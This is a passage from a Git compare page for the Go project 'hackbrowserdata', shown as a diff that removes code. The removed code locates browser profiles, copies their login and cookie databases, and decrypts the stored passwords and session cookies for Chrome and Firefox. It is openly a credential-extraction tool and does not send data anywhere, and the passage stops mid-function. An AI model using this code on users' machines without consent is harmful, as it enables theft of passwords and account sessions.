Compare commits
4 Commits
feat/libra
...
master
Author | SHA1 | Date |
---|---|---|
github-actions[bot] | ecb8db1854 | 1 year ago |
Andrii Ursulenko | ab4d3e14db | 1 year ago |
ᴍᴏᴏɴD4ʀᴋ | a2c3cd1090 | 1 year ago |
moonD4rk | 93c0d42b46 | 1 year ago |
Before Width: | Height: | Size: 2.7 MiB After Width: | Height: | Size: 2.7 MiB |
@ -1,58 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"github.com/moond4rk/hackbrowserdata/browserdata" |
|
||||||
) |
|
||||||
|
|
||||||
type Browser interface { |
|
||||||
Passwords() ([]browserdata.Password, error) |
|
||||||
|
|
||||||
Cookies() ([]browserdata.Cookie, error) |
|
||||||
|
|
||||||
ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) |
|
||||||
} |
|
||||||
|
|
||||||
func NewBrowser(b browser, options ...BrowserOption) (Browser, error) { |
|
||||||
opt, ok := defaultBrowserOptions[b] |
|
||||||
if !ok { |
|
||||||
return nil, ErrBrowserNotSupport |
|
||||||
} |
|
||||||
|
|
||||||
for _, options := range options { |
|
||||||
options(opt) |
|
||||||
} |
|
||||||
|
|
||||||
if opt.NewBrowserFunc == nil { |
|
||||||
return nil, ErrBrowserNotSupport |
|
||||||
} |
|
||||||
return opt.NewBrowserFunc(opt) |
|
||||||
} |
|
||||||
|
|
||||||
type browser string |
|
||||||
|
|
||||||
const ( |
|
||||||
Chrome browser = "chrome" |
|
||||||
Firefox browser = "firefox" |
|
||||||
Yandex browser = "yandex" |
|
||||||
Edge browser = "edge" |
|
||||||
Chromium browser = "chromium" |
|
||||||
) |
|
||||||
|
|
||||||
type browserType int |
|
||||||
|
|
||||||
const ( |
|
||||||
browserTypeChromium browserType = iota + 1 |
|
||||||
browserTypeFirefox |
|
||||||
browserTypeYandex |
|
||||||
) |
|
||||||
|
|
||||||
func (b browser) Type() browserType { |
|
||||||
switch b { |
|
||||||
case Firefox: |
|
||||||
return browserTypeFirefox |
|
||||||
case Yandex: |
|
||||||
return browserTypeYandex |
|
||||||
default: |
|
||||||
return browserTypeChromium |
|
||||||
} |
|
||||||
} |
|
@ -1,50 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"os" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
chromeStorageName = "Chrome" |
|
||||||
chromeBetaStorageName = "Chrome" |
|
||||||
chromiumStorageName = "Chromium" |
|
||||||
edgeStorageName = "Microsoft Edge" |
|
||||||
braveStorageName = "Brave" |
|
||||||
operaStorageName = "Opera" |
|
||||||
vivaldiStorageName = "Vivaldi" |
|
||||||
coccocStorageName = "CocCoc" |
|
||||||
yandexStorageName = "Yandex" |
|
||||||
arcStorageName = "Arc" |
|
||||||
) |
|
||||||
|
|
||||||
var homeDir, _ = os.UserHomeDir() |
|
||||||
|
|
||||||
var ( |
|
||||||
chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/Default/" |
|
||||||
chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/" |
|
||||||
chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/Default/" |
|
||||||
edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/Default/" |
|
||||||
braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/" |
|
||||||
operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/" |
|
||||||
operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/" |
|
||||||
vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/Default/" |
|
||||||
coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/Default/" |
|
||||||
yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/" |
|
||||||
arcProfilePath = homeDir + "/Library/Application Support/Arc/User Data/Default" |
|
||||||
|
|
||||||
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/" |
|
||||||
) |
|
||||||
|
|
||||||
var defaultBrowserOptions = map[browser]*Options{ |
|
||||||
Chrome: { |
|
||||||
Name: Chrome, |
|
||||||
Storage: chromeStorageName, |
|
||||||
ProfilePath: chromeProfilePath, |
|
||||||
NewBrowserFunc: NewChromium, |
|
||||||
}, |
|
||||||
Firefox: { |
|
||||||
Name: Firefox, |
|
||||||
ProfilePath: firefoxProfilePath, |
|
||||||
NewBrowserFunc: NewFirefox, |
|
||||||
}, |
|
||||||
} |
|
@ -1 +0,0 @@ |
|||||||
package hackbrowserdata |
|
@ -1 +0,0 @@ |
|||||||
package hackbrowserdata |
|
@ -1,13 +0,0 @@ |
|||||||
package browserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"time" |
|
||||||
) |
|
||||||
|
|
||||||
type Bookmark struct { |
|
||||||
ID int64 |
|
||||||
Name string |
|
||||||
Type string |
|
||||||
URL string |
|
||||||
DateAdded time.Time |
|
||||||
} |
|
@ -1,51 +0,0 @@ |
|||||||
package browserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"database/sql" |
|
||||||
"os" |
|
||||||
"path/filepath" |
|
||||||
|
|
||||||
_ "github.com/mattn/go-sqlite3" |
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil" |
|
||||||
) |
|
||||||
|
|
||||||
type Extractor interface { |
|
||||||
Extract() (interface{}, error) |
|
||||||
} |
|
||||||
|
|
||||||
type RowsHandler func([]byte, interface{}) (interface{}, error) |
|
||||||
|
|
||||||
type ExtractorHandler func([]byte, string, string, RowsHandler) (interface{}, error) |
|
||||||
|
|
||||||
func DefaultDBHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) { |
|
||||||
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath)) |
|
||||||
if err := fileutil.CopyFile(dbpath, tempFile); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(tempFile) |
|
||||||
db, err := sql.Open("sqlite3", tempFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer db.Close() |
|
||||||
rows, err := db.Query(dbQuery) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer rows.Close() |
|
||||||
return rowsHandler(masterKey, rows) |
|
||||||
} |
|
||||||
|
|
||||||
func DefaultJSONHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) { |
|
||||||
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath)) |
|
||||||
if err := fileutil.CopyFile(dbpath, tempFile); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(tempFile) |
|
||||||
s, err := os.ReadFile(tempFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return rowsHandler(masterKey, s) |
|
||||||
} |
|
@ -1,131 +0,0 @@ |
|||||||
package browserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"database/sql" |
|
||||||
"os" |
|
||||||
"path/filepath" |
|
||||||
"sort" |
|
||||||
"time" |
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto" |
|
||||||
"github.com/moond4rk/hackbrowserdata/log" |
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil" |
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil" |
|
||||||
) |
|
||||||
|
|
||||||
type CookieExtractor struct { |
|
||||||
Data []Cookie |
|
||||||
masterKey []byte |
|
||||||
datafile string |
|
||||||
} |
|
||||||
|
|
||||||
func NewCookieExtractor(masterKey []byte, datafile string) *CookieExtractor { |
|
||||||
return &CookieExtractor{masterKey: masterKey, datafile: datafile} |
|
||||||
} |
|
||||||
|
|
||||||
type Cookie struct { |
|
||||||
Host string |
|
||||||
Path string |
|
||||||
KeyName string |
|
||||||
encryptValue []byte |
|
||||||
Value string |
|
||||||
IsSecure bool |
|
||||||
IsHTTPOnly bool |
|
||||||
HasExpire bool |
|
||||||
IsPersistent bool |
|
||||||
CreateDate time.Time |
|
||||||
ExpireDate time.Time |
|
||||||
} |
|
||||||
|
|
||||||
func ExportCookie(masterKey []byte, passwordPath string) ([]Cookie, error) { |
|
||||||
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) |
|
||||||
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(tempPassFile) |
|
||||||
cookies, err := exportCookies(masterKey, "", tempPassFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return cookies, err |
|
||||||
} |
|
||||||
|
|
||||||
func exportCookies(masterKey []byte, profile, dbFile string) ([]Cookie, error) { |
|
||||||
data, err := exportData(masterKey, profile, dbFile, handlerCookie) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
cookies := make([]Cookie, 0, len(data)) |
|
||||||
for _, v := range data { |
|
||||||
cookies = append(cookies, v.(Cookie)) |
|
||||||
} |
|
||||||
sort.Slice(cookies, func(i, j int) bool { |
|
||||||
return (cookies)[i].CreateDate.After((cookies)[j].CreateDate) |
|
||||||
}) |
|
||||||
return cookies, nil |
|
||||||
} |
|
||||||
|
|
||||||
type rowHandlerFunc func(masterKey []byte, rows *sql.Rows) (interface{}, error) |
|
||||||
|
|
||||||
func handlerCookie(masterKey []byte, rows *sql.Rows) (interface{}, error) { |
|
||||||
var ( |
|
||||||
err error |
|
||||||
key, host, path string |
|
||||||
isSecure, isHTTPOnly, hasExpire, isPersistent int |
|
||||||
createDate, expireDate int64 |
|
||||||
value, encryptValue []byte |
|
||||||
) |
|
||||||
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil { |
|
||||||
log.Warn(err) |
|
||||||
} |
|
||||||
|
|
||||||
cookie := Cookie{ |
|
||||||
KeyName: key, |
|
||||||
Host: host, |
|
||||||
Path: path, |
|
||||||
encryptValue: encryptValue, |
|
||||||
IsSecure: typeutil.IntToBool(isSecure), |
|
||||||
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly), |
|
||||||
HasExpire: typeutil.IntToBool(hasExpire), |
|
||||||
IsPersistent: typeutil.IntToBool(isPersistent), |
|
||||||
CreateDate: typeutil.TimeEpoch(createDate), |
|
||||||
ExpireDate: typeutil.TimeEpoch(expireDate), |
|
||||||
} |
|
||||||
if len(encryptValue) > 0 { |
|
||||||
if len(masterKey) == 0 { |
|
||||||
value, err = crypto.DPAPI(encryptValue) |
|
||||||
} else { |
|
||||||
value, err = crypto.DecryptPass(masterKey, encryptValue) |
|
||||||
} |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
} |
|
||||||
} |
|
||||||
cookie.Value = string(value) |
|
||||||
return cookie, nil |
|
||||||
} |
|
||||||
|
|
||||||
func exportData(masterKey []byte, passFile string, query string, rowHandler rowHandlerFunc) ([]interface{}, error) { |
|
||||||
db, err := sql.Open("sqlite3", passFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer db.Close() |
|
||||||
|
|
||||||
rows, err := db.Query(query) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer rows.Close() |
|
||||||
|
|
||||||
var data []interface{} |
|
||||||
for rows.Next() { |
|
||||||
item, err := rowHandler(masterKey, rows) |
|
||||||
if err != nil { |
|
||||||
log.Warn(err) |
|
||||||
continue |
|
||||||
} |
|
||||||
data = append(data, item) |
|
||||||
} |
|
||||||
return data, nil |
|
||||||
} |
|
@ -1,306 +0,0 @@ |
|||||||
package browserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"database/sql" |
|
||||||
"encoding/base64" |
|
||||||
"os" |
|
||||||
"path/filepath" |
|
||||||
"time" |
|
||||||
|
|
||||||
// import go-sqlite3 driver
|
|
||||||
_ "github.com/mattn/go-sqlite3" |
|
||||||
"github.com/tidwall/gjson" |
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto" |
|
||||||
"github.com/moond4rk/hackbrowserdata/log" |
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil" |
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil" |
|
||||||
) |
|
||||||
|
|
||||||
type PasswordExtractor struct { |
|
||||||
masterKey []byte |
|
||||||
datafiles []string |
|
||||||
extractorHandler ExtractorHandler |
|
||||||
rowsHandler RowsHandler |
|
||||||
} |
|
||||||
|
|
||||||
type Password struct { |
|
||||||
Profile string |
|
||||||
Username string |
|
||||||
Password string |
|
||||||
encryptPass []byte |
|
||||||
encryptUser []byte |
|
||||||
LoginURL string |
|
||||||
CreateDate time.Time |
|
||||||
} |
|
||||||
|
|
||||||
func NewPassExtractor(masterKey []byte, datafiles []string, fileHandler ExtractorHandler, rowsHandler RowsHandler) *PasswordExtractor { |
|
||||||
return &PasswordExtractor{ |
|
||||||
masterKey: masterKey, |
|
||||||
datafiles: datafiles, |
|
||||||
extractorHandler: fileHandler, |
|
||||||
rowsHandler: rowsHandler, |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (d *PasswordExtractor) Extract() (interface{}, error) { |
|
||||||
var passwords []Password |
|
||||||
var err error |
|
||||||
for _, datafile := range d.datafiles { |
|
||||||
data, err := d.extractorHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler) |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
continue |
|
||||||
} |
|
||||||
passwords = append(passwords, data.([]Password)...) |
|
||||||
} |
|
||||||
return passwords, err |
|
||||||
} |
|
||||||
|
|
||||||
func ChromiumPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) { |
|
||||||
sqlRows := rows.(*sql.Rows) |
|
||||||
var passwords []Password |
|
||||||
for sqlRows.Next() { |
|
||||||
var ( |
|
||||||
url, username string |
|
||||||
encryptPass, password []byte |
|
||||||
create int64 |
|
||||||
err error |
|
||||||
) |
|
||||||
if err := sqlRows.Scan(&url, &username, &encryptPass, &create); err != nil { |
|
||||||
log.Warn(err) |
|
||||||
continue |
|
||||||
} |
|
||||||
pass := Password{ |
|
||||||
// Profile: filepath.Base(profile),
|
|
||||||
Username: username, |
|
||||||
encryptPass: encryptPass, |
|
||||||
LoginURL: url, |
|
||||||
} |
|
||||||
if len(encryptPass) > 0 { |
|
||||||
if len(masterKey) == 0 { |
|
||||||
password, err = crypto.DPAPI(encryptPass) |
|
||||||
} else { |
|
||||||
password, err = crypto.DecryptPass(masterKey, encryptPass) |
|
||||||
} |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
} |
|
||||||
} |
|
||||||
if create > time.Now().Unix() { |
|
||||||
pass.CreateDate = typeutil.TimeEpoch(create) |
|
||||||
} else { |
|
||||||
pass.CreateDate = typeutil.TimeStamp(create) |
|
||||||
} |
|
||||||
pass.Password = string(password) |
|
||||||
passwords = append(passwords, pass) |
|
||||||
} |
|
||||||
return passwords, nil |
|
||||||
} |
|
||||||
|
|
||||||
func FirefoxPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) { |
|
||||||
var passwords []Password |
|
||||||
|
|
||||||
jsonBytes := rows.([]byte) |
|
||||||
jsonRows := gjson.GetBytes(jsonBytes, "logins").Array() |
|
||||||
|
|
||||||
if len(jsonRows) == 0 { |
|
||||||
return nil, nil |
|
||||||
} |
|
||||||
|
|
||||||
for _, v := range jsonRows { |
|
||||||
var ( |
|
||||||
p Password |
|
||||||
encryptUser []byte |
|
||||||
encryptPass []byte |
|
||||||
err error |
|
||||||
) |
|
||||||
p.LoginURL = v.Get("formSubmitURL").String() |
|
||||||
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
p.encryptUser = encryptUser |
|
||||||
p.encryptPass = encryptPass |
|
||||||
// TODO: handle error
|
|
||||||
userPBE, err := crypto.NewASN1PBE(p.encryptUser) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
username, err := userPBE.Decrypt(masterKey) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
password, err := pwdPBE.Decrypt(masterKey) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
p.Password = string(password) |
|
||||||
p.Username = string(username) |
|
||||||
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) |
|
||||||
passwords = append(passwords, p) |
|
||||||
} |
|
||||||
return passwords, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (d *PasswordExtractor) ExtractChromium() (interface{}, error) { |
|
||||||
var passwords []Password |
|
||||||
var err error |
|
||||||
for _, datafile := range d.datafiles { |
|
||||||
data, err := DefaultDBHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler) |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
continue |
|
||||||
} |
|
||||||
passwords = append(passwords, data.([]Password)...) |
|
||||||
} |
|
||||||
return passwords, err |
|
||||||
} |
|
||||||
|
|
||||||
func (d *PasswordExtractor) ExtractFirefox() (interface{}, error) { |
|
||||||
return nil, nil |
|
||||||
} |
|
||||||
|
|
||||||
func Export(masterKey []byte, passwordPath string) ([]Password, error) { |
|
||||||
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) |
|
||||||
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(tempPassFile) |
|
||||||
passwords, err := exportPasswords(masterKey, "", tempPassFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return passwords, err |
|
||||||
} |
|
||||||
|
|
||||||
const ( |
|
||||||
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` |
|
||||||
) |
|
||||||
|
|
||||||
func exportPasswords(masterKey []byte, profile, passFile string) ([]Password, error) { |
|
||||||
db, err := sql.Open("sqlite3", passFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer db.Close() |
|
||||||
rows, err := db.Query(queryChromiumLogin) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
var passwords []Password |
|
||||||
for rows.Next() { |
|
||||||
var ( |
|
||||||
url, username string |
|
||||||
encryptPass, password []byte |
|
||||||
create int64 |
|
||||||
) |
|
||||||
if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil { |
|
||||||
log.Warn(err) |
|
||||||
} |
|
||||||
pass := Password{ |
|
||||||
Profile: filepath.Base(profile), |
|
||||||
Username: username, |
|
||||||
encryptPass: encryptPass, |
|
||||||
LoginURL: url, |
|
||||||
} |
|
||||||
if len(encryptPass) > 0 { |
|
||||||
if len(masterKey) == 0 { |
|
||||||
password, err = crypto.DPAPI(encryptPass) |
|
||||||
} else { |
|
||||||
password, err = crypto.DecryptPass(masterKey, encryptPass) |
|
||||||
} |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
} |
|
||||||
} |
|
||||||
if create > time.Now().Unix() { |
|
||||||
pass.CreateDate = typeutil.TimeEpoch(create) |
|
||||||
} else { |
|
||||||
pass.CreateDate = typeutil.TimeStamp(create) |
|
||||||
} |
|
||||||
pass.Password = string(password) |
|
||||||
passwords = append(passwords, pass) |
|
||||||
} |
|
||||||
return passwords, nil |
|
||||||
} |
|
||||||
|
|
||||||
const ( |
|
||||||
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` |
|
||||||
) |
|
||||||
|
|
||||||
func ExportPasswords(masterKey []byte, passwordPath string) ([]Password, error) { |
|
||||||
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) |
|
||||||
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(tempPassFile) |
|
||||||
passwords, err := exportFirefoxPasswords(masterKey, "", tempPassFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return passwords, err |
|
||||||
} |
|
||||||
|
|
||||||
func exportFirefoxPasswords(masterKey []byte, profile, passFile string) ([]Password, error) { |
|
||||||
s, err := os.ReadFile(passFile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer os.Remove(passFile) |
|
||||||
loginsJSON := gjson.GetBytes(s, "logins") |
|
||||||
var passwords []Password |
|
||||||
if !loginsJSON.Exists() { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
|
|
||||||
for _, v := range loginsJSON.Array() { |
|
||||||
var ( |
|
||||||
p Password |
|
||||||
encryptUser []byte |
|
||||||
encryptPass []byte |
|
||||||
) |
|
||||||
p.LoginURL = v.Get("formSubmitURL").String() |
|
||||||
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
p.encryptUser = encryptUser |
|
||||||
p.encryptPass = encryptPass |
|
||||||
// TODO: handle error
|
|
||||||
userPBE, err := crypto.NewASN1PBE(p.encryptUser) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
username, err := userPBE.Decrypt(masterKey) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
password, err := pwdPBE.Decrypt(masterKey) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
p.Password = string(password) |
|
||||||
p.Username = string(username) |
|
||||||
p.Profile = profile |
|
||||||
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) |
|
||||||
passwords = append(passwords, p) |
|
||||||
} |
|
||||||
return passwords, nil |
|
||||||
} |
|
@ -1,204 +0,0 @@ |
|||||||
package hackbrowserdata |
|
||||||
|
|
||||||
import ( |
|
||||||
"errors" |
|
||||||
"fmt" |
|
||||||
"io/fs" |
|
||||||
"path/filepath" |
|
||||||
"strings" |
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/browserdata" |
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil" |
|
||||||
) |
|
||||||
|
|
||||||
type chromium struct { |
|
||||||
name browser |
|
||||||
storage string |
|
||||||
profilePath string |
|
||||||
enableAllUsers bool |
|
||||||
profilePaths []string |
|
||||||
masterKey []byte |
|
||||||
// defaultDataTypes
|
|
||||||
supportedDataTypes []DataType |
|
||||||
extractors map[DataType]browserdata.Extractor |
|
||||||
extractedData map[DataType]interface{} |
|
||||||
} |
|
||||||
|
|
||||||
func NewChromium(options *Options) (Browser, error) { |
|
||||||
if options.ProfilePath == "" { |
|
||||||
return nil, errors.New("profile path is required") |
|
||||||
} |
|
||||||
if options.Name == "" { |
|
||||||
return nil, errors.New("browser name is required") |
|
||||||
} |
|
||||||
c := &chromium{ |
|
||||||
name: options.Name, |
|
||||||
profilePath: options.ProfilePath, |
|
||||||
enableAllUsers: true, |
|
||||||
supportedDataTypes: defaultDataTypes, |
|
||||||
extractors: make(map[DataType]browserdata.Extractor), |
|
||||||
extractedData: make(map[DataType]interface{}), |
|
||||||
} |
|
||||||
if !options.IsEnableAllUser { |
|
||||||
c.enableAllUsers = false |
|
||||||
} |
|
||||||
if len(options.DataTypes) > 0 { |
|
||||||
c.supportedDataTypes = options.DataTypes |
|
||||||
} |
|
||||||
if err := c.init(); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return c, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *chromium) init() error { |
|
||||||
if err := c.initProfiles(); err != nil { |
|
||||||
return fmt.Errorf("profile path '%s' does not exist %w", c.profilePath, ErrBrowserNotExists) |
|
||||||
} |
|
||||||
if err := c.initExtractors(); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
return c.initMasterKey() |
|
||||||
} |
|
||||||
|
|
||||||
func (c *chromium) ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) { |
|
||||||
for _, dataType := range dataTypes { |
|
||||||
if extractor, ok := c.extractors[dataType]; ok { |
|
||||||
data, err := extractor.Extract() |
|
||||||
if err != nil { |
|
||||||
fmt.Printf("extract %s data failed: %v", dataType, err) |
|
||||||
continue |
|
||||||
} |
|
||||||
c.extractedData[dataType] = data |
|
||||||
} |
|
||||||
} |
|
||||||
return c.extractedData, nil |
|
||||||
} |
|
||||||
|
|
||||||
// func (c *chromium) Passwords() ([]password.Password, error) {
|
|
||||||
// // browserData, err := c.ExtractBrowserData([]DataType{TypePassword})
|
|
||||||
// // if err != nil {
|
|
||||||
// // return nil, err
|
|
||||||
// // }
|
|
||||||
// dataType := TypePassword
|
|
||||||
// if data, ok := c.extractedData[dataType]; ok {
|
|
||||||
// return data.([]password.Password), nil
|
|
||||||
// }
|
|
||||||
// extractor, ok := c.extractors[dataType]
|
|
||||||
// if !ok {
|
|
||||||
// return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
|
|
||||||
// }
|
|
||||||
// data, err := extractor.ExtractChromium()
|
|
||||||
// if err != nil {
|
|
||||||
// return nil, err
|
|
||||||
// }
|
|
||||||
// return data.([]password.Password), nil
|
|
||||||
// }
|
|
||||||
|
|
||||||
func (c *chromium) filterExistDataPaths(dataTypes []DataType) (map[DataType][]string, error) { |
|
||||||
// exporters := make(map[DataType]BrowserData)
|
|
||||||
dataPaths := make(map[DataType][]string) |
|
||||||
var errs []error |
|
||||||
for _, profile := range c.profilePaths { |
|
||||||
for _, dataType := range dataTypes { |
|
||||||
dataTypeFile := filepath.Join(profile, dataType.Filename(c.name)) |
|
||||||
if !fileutil.IsFileExists(dataTypeFile) { |
|
||||||
errs = append(errs, ErrBrowsingDataNotExists) |
|
||||||
} |
|
||||||
dataPaths[dataType] = append(dataPaths[dataType], dataTypeFile) |
|
||||||
} |
|
||||||
} |
|
||||||
return dataPaths, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *chromium) Passwords() ([]browserdata.Password, error) { |
|
||||||
dataType := TypePassword |
|
||||||
if data, ok := c.extractedData[dataType]; ok { |
|
||||||
return data.([]browserdata.Password), nil |
|
||||||
} |
|
||||||
extractor, ok := c.extractors[dataType] |
|
||||||
if !ok { |
|
||||||
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name) |
|
||||||
} |
|
||||||
data, err := extractor.Extract() |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return data.([]browserdata.Password), nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *chromium) Cookies() ([]browserdata.Cookie, error) { |
|
||||||
dataType := TypeCookie |
|
||||||
if data, ok := c.extractedData[dataType]; ok { |
|
||||||
return data.([]browserdata.Cookie), nil |
|
||||||
} |
|
||||||
extractor, ok := c.extractors[dataType] |
|
||||||
if !ok { |
|
||||||
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name) |
|
||||||
} |
|
||||||
data, err := extractor.Extract() |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return data.([]browserdata.Cookie), nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *chromium) initExtractors() error { |
|
||||||
dataPaths, err := c.filterExistDataPaths(c.supportedDataTypes) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
for _, dataType := range c.supportedDataTypes { |
|
||||||
if _, ok := dataPaths[dataType]; !ok { |
|
||||||
continue |
|
||||||
} |
|
||||||
c.extractors[dataType] = dataType.NewExtractor(c.name.Type(), c.masterKey, dataPaths[dataType]) |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *chromium) initProfiles() error { |
|
||||||
if !fileutil.IsDirExists(c.profilePath) { |
|
||||||
return ErrBrowserNotExists |
|
||||||
} |
|
||||||
if c.enableAllUsers { |
|
||||||
profilesPaths, err := c.findAllProfiles() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
c.profilePaths = profilesPaths |
|
||||||
} else { |
|
||||||
c.profilePaths = []string{c.profilePath} |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
// TODO: mix it as firefox's find All Profiles
|
|
||||||
func (c *chromium) findAllProfiles() ([]string, error) { |
|
||||||
var profiles []string |
|
||||||
root := fileutil.ParentDir(c.profilePath) |
|
||||||
err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error { |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
// if the path ends with "History", add it to the list
|
|
||||||
if strings.HasSuffix(path, TypeHistory.Filename(c.name)) { |
|
||||||
// skip the "System Profile" directory
|
|
||||||
if !strings.Contains(path, "System Profile") { |
|
||||||
